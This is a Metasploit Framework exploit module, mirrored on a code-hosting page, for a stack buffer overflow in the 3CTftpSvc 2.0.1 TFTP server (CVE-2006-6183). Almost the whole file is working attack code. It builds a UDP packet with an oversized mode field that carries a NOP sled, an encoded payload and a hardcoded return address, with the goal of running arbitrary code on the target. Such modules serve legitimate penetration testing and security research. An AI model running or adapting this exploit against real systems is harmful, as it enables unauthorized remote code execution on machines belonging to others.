Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => '3CTftpSvc TFTP Long Mode Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By
18
sending a specially crafted packet with an overly long mode
19
field, a remote attacker could overflow a buffer and execute
20
arbitrary code on the system.
21
},
22
'Author' => 'MC',
23
'References' => [
24
['CVE', '2006-6183'],
25
['OSVDB', '30758'],
26
['BID', '21301'],
27
['URL', 'http://web.archive.org/web/20070521014920/http://secunia.com:80/advisories/23113'],
28
],
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 400,
34
'BadChars' => "\x00",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ '3CTftpSvc 2.0.1', { 'Ret' => 0x00402b02 } ],
40
],
41
'Privileged' => true,
42
'DefaultTarget' => 0,
43
'DisclosureDate' => '2006-11-27',
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options([Opt::RPORT(69)])
53
end
54
55
def exploit
56
connect_udp
57
58
sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)
59
sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"
60
61
print_status("Trying target #{target.name}...")
62
63
udp_sock.put(sploit)
64
65
disconnect_udp
66
end
67
end
68
69